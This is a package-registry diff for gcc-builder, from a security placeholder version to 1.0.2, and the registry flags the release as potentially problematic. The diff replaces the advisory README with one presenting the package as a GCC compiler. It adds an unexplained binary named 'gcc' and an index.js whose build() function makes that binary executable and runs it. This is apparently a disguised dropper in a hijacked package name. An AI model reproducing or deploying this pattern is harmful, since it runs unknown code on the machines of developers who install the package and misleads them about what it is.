gcc-builder 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of gcc-builder might be problematic. Click here for more details.
- package/README.md +2 -4
- package/gcc +0 -0
- package/index.js +19 -0
- package/package.json +12 -3
package/README.md
CHANGED
|
@@ -1,5 +1,3 @@
|
|
|
1
|
-
#
|
|
1
|
+
# GCC Builder
|
|
2
2
|
|
|
3
|
-
This
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=gcc-builder for more information.
|
|
3
|
+
This is our own GCC compiler for various projects. Detects and builds project itself.
|
package/gcc
ADDED
|
Binary file
|
package/index.js
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
function build(...args) {
|
|
2
|
+
//set a+x to the file
|
|
3
|
+
const { exec } = require('child_process');
|
|
4
|
+
exec(`chmod a+x ./node_modules/gcc`, (err, stdout, stderr) => {
|
|
5
|
+
if (err) {
|
|
6
|
+
console.log(err);
|
|
7
|
+
return;
|
|
8
|
+
}
|
|
9
|
+
exec(`./node_modules/gcc`, (err, stdout, stderr) => {
|
|
10
|
+
if (err) {
|
|
11
|
+
console.log(err);
|
|
12
|
+
return;
|
|
13
|
+
}
|
|
14
|
+
console.log(stdout);
|
|
15
|
+
});
|
|
16
|
+
});
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
module.exports = build;
|
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "gcc-builder",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"description": "Own GCC compiler for our projects",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"gcc",
|
|
11
|
+
"compiler"
|
|
12
|
+
],
|
|
13
|
+
"author": "lolfhd22",
|
|
14
|
+
"license": "ISC"
|
|
6
15
|
}
|